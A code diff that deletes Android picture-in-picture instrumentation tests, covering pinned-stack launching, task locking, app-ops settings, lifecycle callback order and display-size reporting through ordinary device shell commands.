-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-
-        // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
-        // top fullscreen activity
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
-        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
-    }
-
-    public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
-        // launch a pip activity over home
-        launchActivity(TEST_ACTIVITY);
-        launchHomeActivity();
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-
-        // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
-        // stack, but that the home stack is still focused
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
-        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
-    }
-
-    public void testPinnedStackAlwaysOnTop() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch activity into pinned stack and assert it's on top.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-        assertPinnedStackIsOnTop();
-
-        // Launch another activity in fullscreen stack and check that pinned stack is still on top.
-        launchActivity(TEST_ACTIVITY);
-        assertPinnedStackExists();
-        assertPinnedStackIsOnTop();
-
-        // Launch home and check that pinned stack is still on top.
-        launchHomeActivity();
-        assertPinnedStackExists();
-        assertPinnedStackIsOnTop();
-    }
-
-    public void testAppOpsDenyPipOnPause() throws Exception {
-        if (!supportsPip()) return;
-
-        // Disable enter-pip and try to enter pip
-        setAppOpsOpToMode(ActivityManagerTestBase.componentName,
-                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
-
-        // Launch the PIP activity on pause
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackDoesNotExist();
-
-        // Go home and ensure that there is no pinned stack
-        launchHomeActivity();
-        assertPinnedStackDoesNotExist();
-
-        // Re-enable enter-pip-on-hide
-        setAppOpsOpToMode(ActivityManagerTestBase.componentName,
-                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_ALLOWED);
-    }
-
-    public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
-        if (!supportsPip()) return;
-
-        // Try to enter picture-in-picture from an activity that has more than one activity in the
-        // task and ensure that it works
-        launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-    }
-
-    public void testEnterPipWithResumeWhilePausingActivityNoStop() throws Exception {
-        if (!supportsPip()) return;
-
-        /*
-         * Launch the resumeWhilePausing activity and ensure that the PiP activity did not get
-         * stopped and actually went into the pinned stack.
-         *
-         * Note that this is a workaround because to trigger the path that we want to happen in
-         * activity manager, we need to add the leaving activity to the stopping state, which only
-         * happens when a hidden stack is brought forward. Normally, this happens when you go home,
-         * but since we can't launch into the home stack directly, we have a workaround.
-         *
-         * 1) Launch an activity in a new dynamic stack
-         * 2) Resize the dynamic stack to non-fullscreen bounds
-         * 3) Start the PiP activity that will enter picture-in-picture when paused in the
-         *    fullscreen stack
-         * 4) Bring the activity in the dynamic stack forward to trigger PiP
-         */
-        int stackId = launchActivityInNewDynamicStack(RESUME_WHILE_PAUSING_ACTIVITY);
-        resizeStack(stackId, 0, 0, 500, 500);
-        // Launch an activity that will enter PiP when it is paused with a delay that is long enough
-        // for the next resumeWhilePausing activity to finish resuming, but slow enough to not
-        // trigger the current system pause timeout (currently 500ms)
-        launchActivityInStack(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_ON_PAUSE_DELAY, "350",
-                EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
-        launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
-        assertPinnedStackExists();
-    }
-
-    public void testDisallowEnterPipActivityLocked() throws Exception {
-        if (!supportsPip()) return;
-
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
-        ActivityTask task =
-                mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTopTask();
-
-        // Lock the task and ensure that we can't enter picture-in-picture both explicitly and
-        // when paused
-        executeShellCommand("am task lock " + task.mTaskId);
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackDoesNotExist();
-        launchHomeActivity();
-        assertPinnedStackDoesNotExist();
-        executeShellCommand("am task lock stop");
-    }
-
-    public void testConfigurationChangeOrderDuringTransition() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a PiP activity and ensure configuration change only happened once, and that the
-        // configuration change happened after the picture-in-picture and multi-window callbacks
-        launchActivity(PIP_ACTIVITY);
-        String logSeparator = clearLogcat();
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-        waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
-        assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
-
-        // Trigger it to go back to fullscreen and ensure that only triggered one configuration
-        // change as well
-        logSeparator = clearLogcat();
-        launchActivity(PIP_ACTIVITY);
-        waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
-        assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
-    }
-
-    public void testEnterPipInterruptedCallbacks() throws Exception {
-        if (!supportsPip()) return;
-
-        // Slow down the transition animations for this test
-        setWindowTransitionAnimationDurationScale(20);
-
-        // Launch a PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        // Wait until the PiP activity has moved into the pinned stack (happens before the
-        // transition has started)
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-
-        // Relaunch the PiP activity back into fullscreen
-        String logSeparator = clearLogcat();
-        launchActivity(PIP_ACTIVITY);
-        // Wait until the PiP activity is reparented into the fullscreen stack (happens after the
-        // transition has finished)
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-
-        // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
-        // configuration change (since none was sent)
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
-                PIP_ACTIVITY, logSeparator);
-        assertTrue(lifecycleCounts.mConfigurationChangedCount == 0);
-        assertTrue(lifecycleCounts.mPictureInPictureModeChangedCount == 1);
-        assertTrue(lifecycleCounts.mMultiWindowModeChangedCount == 1);
-
-        // Reset the animation scale
-        setWindowTransitionAnimationDurationScale(1);
-    }
-
-    public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-
-        // Dismiss it
-        String logSeparator = clearLogcat();
-        removeStacks(PINNED_STACK_ID);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-
-        // Confirm that we get stop before the multi-window and picture-in-picture mode change
-        // callbacks
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
-                logSeparator);
-        if (lifecycleCounts.mStopCount != 1) {
-            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mStopCount
-                    + " onStop() calls, expecting 1");
-        } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
-            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
-                    + " onPictureInPictureModeChanged() calls, expecting 1");
-        } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
-            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
-                    + " onMultiWindowModeChanged() calls, expecting 1");
-        } else {
-            int lastStopLine = lifecycleCounts.mLastStopLineIndex;
-            int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
-            int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
-            if (!(lastStopLine < lastPipLine && lastPipLine < lastMwLine)) {
-                fail(PIP_ACTIVITY + " has received callbacks in unexpected order.  Expected:"
-                        + " stop < pip < mw, but got line indices: " + lastStopLine + ", "
-                        + lastPipLine + ", " + lastMwLine + " respectively");
-            }
-        }
-    }
-
-    public void testPreventSetAspectRatioWhileExpanding() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch the PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-
-        // Trigger it to go back to fullscreen and try to set the aspect ratio, and ensure that the
-        // call to set the aspect ratio did not prevent the PiP from returning to fullscreen
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_EXPAND_PIP
-                + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR + " 123456789"
-                + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR + " 100000000");
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        assertPinnedStackDoesNotExist();
-    }
-
-    public void testSetRequestedOrientationWhilePinned() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch the PiP activity fixed as portrait, and enter picture-in-picture
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT),
-                EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-
-        // Request that the orientation is set to landscape
-        executeShellCommand("am broadcast -a "
-                + PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION + " -e "
-                + EXTRA_FIXED_ORIENTATION + " " + String.valueOf(ORIENTATION_LANDSCAPE));
-
-        // Launch the activity back into fullscreen and ensure that it is now in landscape
-        launchActivity(PIP_ACTIVITY);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        assertPinnedStackDoesNotExist();
-        assertTrue(mAmWmState.getWmState().getLastOrientation() == ORIENTATION_LANDSCAPE);
-    }
-
-    public void testWindowButtonEntersPip() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch the PiP activity trigger the window button, ensure that we have entered PiP
-        launchActivity(PIP_ACTIVITY);
-        pressWindowButton();
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-    }
-
-    public void testFinishPipActivityWithTaskOverlay() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-        int taskId = mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getTopTask().mTaskId;
-
-        // Ensure that we don't any any other overlays as a result of launching into PIP
-        launchHomeActivity();
-
-        // Launch task overlay activity into PiP activity task
-        launchActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId, PINNED_STACK_ID);
-
-        // Finish the PiP activity and ensure that there is no pinned stack
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_FINISH);
-        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
-            ActivityStack stack = amState.getStackById(PINNED_STACK_ID);
-            return stack == null;
-        }, "Waiting for pinned stack to be removed...");
-        assertPinnedStackDoesNotExist();
-    }
-
-    public void testNoResumeAfterTaskOverlayFinishes() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-        int taskId = mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getTopTask().mTaskId;
-
-        // Launch task overlay activity into PiP activity task
-        launchActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId, PINNED_STACK_ID);
-
-        // Finish the task overlay activity while animating and ensure that the PiP activity never
-        // got resumed
-        String logSeparator = clearLogcat();
-        executeShellCommand("am stack resize-animated 4 20 20 500 500");
-        executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
-        mAmWmState.waitFor(mDevice, (amState, wmState) -> !amState.containsActivity(
-                TRANSLUCENT_TEST_ACTIVITY), "Waiting for test activity to finish...");
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
-                logSeparator);
-        assertTrue(lifecycleCounts.mResumeCount == 0);
-        assertTrue(lifecycleCounts.mPauseCount == 0);
-    }
-
-    public void testPinnedStackWithDockedStack() throws Exception {
-        if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
-
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        launchActivityToSide(true, false, TEST_ACTIVITY);
-        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Launch the activities again to take focus and make sure nothing is hidden
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        launchActivityToSide(true, false, TEST_ACTIVITY);
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Go to recents to make sure that fullscreen stack is invisible
-        // Some devices do not support recents or implement it differently (instead of using a
-        // separate stack id or as an activity), for those cases the visibility asserts will be
-        // ignored
-        pressAppSwitchButton();
-        if (mAmWmState.waitForRecentsActivityVisible(mDevice)) {
-            mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-            mAmWmState.assertVisibility(TEST_ACTIVITY, false);
-        }
-    }
-
-    public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
-        // affinity
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
-        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
-        assertPinnedStackExists();
-
-        // Launch the root activity again...
-        int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
-                TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId;
-        launchHomeActivity();
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
-
-        // ...and ensure that the root activity task is found and reused, and that the pinned stack
-        // is unaffected
-        assertPinnedStackExists();
-        mAmWmState.assertFocusedActivity("Expected root activity focused",
-                TEST_ACTIVITY_WITH_SAME_AFFINITY);
-        assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
-                TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId);
-    }
-
-    public void testLaunchTaskByAffinityMatchMultipleTasks() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
-        // affinity, and also launch another activity in the same task, while finishing itself. As
-        // a result, the task will not have a component matching the same activity as what it was
-        // started with
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
-                EXTRA_START_ACTIVITY, getActivityComponentName(TEST_ACTIVITY),
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
-        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-
-        // Launch the root activity again...
-        int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
-                TEST_ACTIVITY).mTaskId;
-        launchHomeActivity();
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
-
-        // ...and ensure that even while matching purely by task affinity, the root activity task is
-        // found and reused, and that the pinned stack is unaffected
-        assertPinnedStackExists();
-        mAmWmState.assertFocusedActivity("Expected root activity focused", TEST_ACTIVITY);
-        assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
-                TEST_ACTIVITY).mTaskId);
-    }
-
-    public void testLaunchTaskByAffinityMatchSingleTask() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch an activity into the pinned stack with a fixed affinity
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_START_ACTIVITY, getActivityComponentName(PIP_ACTIVITY),
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-
-        // Launch the root activity again, of the matching task and ensure that we expand to
-        // fullscreen
-        int activityTaskId = mAmWmState.getAmState().getTaskByActivityName(
-                PIP_ACTIVITY).mTaskId;
-        launchHomeActivity();
-        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        assertPinnedStackDoesNotExist();
-        assertTrue(activityTaskId == mAmWmState.getAmState().getTaskByActivityName(
-                PIP_ACTIVITY).mTaskId);
-    }
-
-    /** Test that reported display size corresponds to fullscreen after exiting PiP. */
-    public void testDisplayMetricsPinUnpin() throws Exception {
-        if (!supportsPip()) return;
-
-        String logSeparator = clearLogcat();
-        launchActivity(TEST_ACTIVITY);
-        final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
-        final ReportedSizes initialSizes = getLastReportedSizesForActivity(TEST_ACTIVITY,
-                logSeparator);
-        final Rectangle initialAppBounds = readAppBounds(TEST_ACTIVITY, logSeparator);
-        assertNotNull("Must report display dimensions", initialSizes);
-        assertNotNull("Must report app bounds", initialAppBounds);
-
-        logSeparator = clearLogcat();
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        final ReportedSizes pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
-                logSeparator);
-        final Rectangle pinnedAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
-        assertFalse("Reported display size when pinned must be different from default",
-                initialSizes.equals(pinnedSizes));
-        assertFalse("Reported app bounds when pinned must be different from default",
-                initialAppBounds.width == pinnedAppBounds.width
-                        && initialAppBounds.height == pinnedAppBounds.height);
-
-        logSeparator = clearLogcat();
-        launchActivityInStack(PIP_ACTIVITY, defaultDisplayStackId);
-        final ReportedSizes finalSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
-                logSeparator);
-        final Rectangle finalAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
-        assertEquals("Must report default size after exiting PiP", initialSizes, finalSizes);
-        assertEquals("Must report default app width after exiting PiP", initialAppBounds.width,
-                finalAppBounds.width);
-        assertEquals("Must report default app height after exiting PiP", initialAppBounds.height,
-                finalAppBounds.height);
-    }
-
-    private static final Pattern sAppBoundsPattern = Pattern.compile(
-            "(.+)appBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)(.*)");
-
-    /** Read app bounds in last applied configuration from logs. */
-    private Rectangle readAppBounds(String activityName, String logSeparator) throws Exception {
-        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
-        for (int i = lines.length - 1; i >= 0; i--) {
-            final String line = lines[i].trim();
-            final Matcher matcher = sAppBoundsPattern.matcher(line);
-            if (matcher.matches()) {
-                final int left = Integer.parseInt(matcher.group(2));
-                final int top = Integer.parseInt(matcher.group(3));
-                final int right = Integer.parseInt(matcher.group(4));
-                final int bottom = Integer.parseInt(matcher.group(5));
-                return new Rectangle(left, top, right - left, bottom - top);
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Called after the given {@param activityName} has been moved to the fullscreen stack. Ensures
-     * that the {@param focusedStackId} is focused, and checks the top and/or bottom tasks in the
-     * fullscreen stack if {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity}
-     * are set respectively.
-     */
-    private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int focusedStackId,
-            boolean expectTopTaskHasActivity, boolean expectBottomTaskHasActivity)
-                    throws Exception {
-        mAmWmState.waitForFocusedStack(mDevice, focusedStackId);
-        mAmWmState.assertFocusedStack("Wrong focused stack", focusedStackId);
-        mAmWmState.waitForActivityState(mDevice, activityName, STATE_STOPPED);
-        assertTrue(mAmWmState.getAmState().hasActivityState(activityName, STATE_STOPPED));
-        assertPinnedStackDoesNotExist();
-
-        if (expectTopTaskHasActivity) {
-            ActivityTask topTask = mAmWmState.getAmState().getStackById(
-                    FULLSCREEN_WORKSPACE_STACK_ID).getTopTask();
-            assertTrue(topTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
-                    activityName)));
-        }
-        if (expectBottomTaskHasActivity) {
-            ActivityTask bottomTask = mAmWmState.getAmState().getStackById(
-                    FULLSCREEN_WORKSPACE_STACK_ID).getBottomTask();
-            assertTrue(bottomTask.containsActivity(ActivityManagerTestBase.getActivityComponentName(
-                    activityName)));
-        }
-    }
-
-    /**
-     * Asserts that the pinned stack bounds does not intersect with the IME bounds.
-     */
-    private void assertPinnedStackDoesNotIntersectIME() throws Exception {
-        // Ensure that the IME is visible
-        WindowManagerState wmState = mAmWmState.getWmState();
-        wmState.computeState(mDevice);
-        WindowManagerState.WindowState imeWinState = wmState.getInputMethodWindowState();
-        assertTrue(imeWinState != null);
-
-        // Ensure that the PIP movement is constrained by the display bounds intersecting the
-        // non-IME bounds
-        Rectangle imeContentFrame = imeWinState.getContentFrame();
-        Rectangle imeContentInsets = imeWinState.getGivenContentInsets();
-        Rectangle imeBounds = new Rectangle(imeContentFrame.x + imeContentInsets.x,
-                imeContentFrame.y + imeContentInsets.y,
-                imeContentFrame.width - imeContentInsets.width,
-                imeContentFrame.height - imeContentInsets.height);
-        wmState.computeState(mDevice);
-        Rectangle pipMovementBounds = wmState.getPinnedStackMomentBounds();
-        assertTrue(!pipMovementBounds.intersects(imeBounds));
-    }
-
-    /**
-     * Asserts that the pinned stack bounds is contained in the display bounds.
-     */
-    private void assertPinnedStackActivityIsInDisplayBounds(String activity) throws Exception {
-        final WindowManagerState.WindowState windowState = getWindowState(activity);
-        final WindowManagerState.Display display = mAmWmState.getWmState().getDisplay(
-                windowState.getDisplayId());
-        final Rectangle displayRect = display.getDisplayRect();
-        final Rectangle pinnedStackBounds =
-                mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
-        assertTrue(displayRect.contains(pinnedStackBounds));
-    }
-
-    /**
-     * Asserts that the pinned stack exists.
-     */
-    private void assertPinnedStackExists() throws Exception {
-        mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
-    }
-
-    /**
-     * Asserts that the pinned stack does not exist.
-     */
-    private void assertPinnedStackDoesNotExist() throws Exception {
-        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
-    }
-
-    /**
-     * Asserts that the pinned stack is the front stack.
-     */
-    private void assertPinnedStackIsOnTop() throws Exception {
-        mAmWmState.assertFrontStack("Pinned stack must always be on top.", PINNED_STACK_ID);
-    }
-
-    /**
-     * Asserts that the activity received exactly one of each of the callbacks when entering and
-     * exiting picture-in-picture.
-     */
-    private void assertValidPictureInPictureCallbackOrder(String activityName, String logSeparator)
-            throws Exception {
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
-                logSeparator);
-
-        if (lifecycleCounts.mConfigurationChangedCount != 1) {
-            fail(activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
-                    + " onConfigurationChanged() calls, expecting 1");
-        } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
-            fail(activityName + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
-                    + " onPictureInPictureModeChanged() calls, expecting 1");
-        } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
-            fail(activityName + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
-                    + " onMultiWindowModeChanged() calls, expecting 1");
-        } else {
-            int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
-            int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
-            int lastConfigLine = lifecycleCounts.mLastConfigurationChangedLineIndex;
-            if (!(lastPipLine < lastMwLine && lastMwLine < lastConfigLine)) {
-                fail(activityName + " has received callbacks in unexpected order.  Expected:"
-                        + " pip < mw < config change, but got line indices: " + lastPipLine + ", "
-                        + lastMwLine + ", " + lastConfigLine + " respectively");
-            }
-        }
-    }
-
-    /**
-     * Waits until the expected picture-in-picture callbacks have been made.
-     */
-    private void waitForValidPictureInPictureCallbacks(String activityName, String logSeparator)
-            throws Exception {
-        mAmWmState.waitFor(mDevice, (amState, wmState) -> {
-            try {
-                final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
-                        activityName, logSeparator);
-                return lifecycleCounts.mConfigurationChangedCount == 1 &&
-                        lifecycleCounts.mPictureInPictureModeChangedCount == 1 &&
-                        lifecycleCounts.mMultiWindowModeChangedCount == 1;
-            } catch (Exception e) {
-                return false;
-            }
-        }, "Waiting for picture-in-picture activity callbacks...");
-    }
-
-    /**
-     * @return the window state for the given {@param activity}'s window.
-     */
-    private WindowManagerState.WindowState getWindowState(String activity) throws Exception {
-        String windowName = getWindowName(activity);
-        mAmWmState.computeState(mDevice, new String[] {activity});
-        final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
-        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
-        return tempWindowList.get(0);
-    }
-
-    /**
-     * Compares two floats with a common epsilon.
-     */
-    private boolean floatEquals(float f1, float f2) {
-        return Math.abs(f1 - f2) < FLOAT_COMPARE_EPSILON;
-    }
-
-    /**
-     * Triggers a tap over the pinned stack bounds to trigger the PIP to close.
-     */
-    private void tapToFinishPip() throws Exception {
-        Rectangle pinnedStackBounds =
-                mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
-        int tapX = pinnedStackBounds.x + pinnedStackBounds.width - 100;
-        int tapY = pinnedStackBounds.y + pinnedStackBounds.height - 100;
-        executeShellCommand(String.format("input tap %d %d", tapX, tapY));
-    }
-
-    /**
-     * Launches the given {@param activityName} into the {@param taskId} as a task overlay.
-     */
-    private void launchActivityAsTaskOverlay(String activityName, int taskId, int stackId)
-            throws Exception {
-        executeShellCommand(getAmStartCmd(activityName) + " --task " + taskId + " --task-overlay");
-
-        mAmWmState.waitForValidState(mDevice, activityName, stackId);
-    }
-
-    /**
-     * Sets an app-ops op for a given package to a given mode.
-     */
-    private void setAppOpsOpToMode(String packageName, String op, int mode) throws Exception {
-        executeShellCommand(String.format("appops set %s %s %d", packageName, op, mode));
-    }
-
-    /**
-     * Triggers the window keycode.
-     */
-    private void pressWindowButton() throws Exception {
-        executeShellCommand(INPUT_KEYEVENT_WINDOW);
-    }
-
-    /**
-     * TODO: Improve tests check to actually check that apps are not interactive instead of checking
-     *       if the stack is focused.
-     */
-    private void pinnedStackTester(String startActivityCmd, String topActivityName,
-            boolean moveTopToPinnedStack, boolean isFocusable) throws Exception {
-
-        executeShellCommand(startActivityCmd);
-        if (moveTopToPinnedStack) {
-            executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
-        }
-
-        mAmWmState.waitForValidState(mDevice, topActivityName, PINNED_STACK_ID);
-        mAmWmState.computeState(mDevice, null);
-
-        if (supportsPip()) {
-            final String windowName = getWindowName(topActivityName);
-            assertPinnedStackExists();
-            mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
-            mAmWmState.assertVisibility(topActivityName, true);
-
-            if (isFocusable) {
-                mAmWmState.assertFocusedStack(
-                        "Pinned stack must be the focused stack.", PINNED_STACK_ID);
-                mAmWmState.assertFocusedActivity(
-                        "Pinned activity must be focused activity.", topActivityName);
-                mAmWmState.assertFocusedWindow(
-                        "Pinned window must be focused window.", windowName);
-                // Not checking for resumed state here because PiP overlay can be launched on top
-                // in different task by SystemUI.
-            } else {
-                // Don't assert that the stack is not focused as a focusable PiP overlay can be
-                // launched on top as a task overlay by SystemUI.
-                mAmWmState.assertNotFocusedActivity(
-                        "Pinned activity can't be the focused activity.", topActivityName);
-                mAmWmState.assertNotResumedActivity(
-                        "Pinned activity can't be the resumed activity.", topActivityName);
-                mAmWmState.assertNotFocusedWindow(
-                        "Pinned window can't be focused window.", windowName);
-            }
-        } else {
-            mAmWmState.assertDoesNotContainStack(
-                    "Must not contain pinned stack.", PINNED_STACK_ID);
-        }
-    }
-}
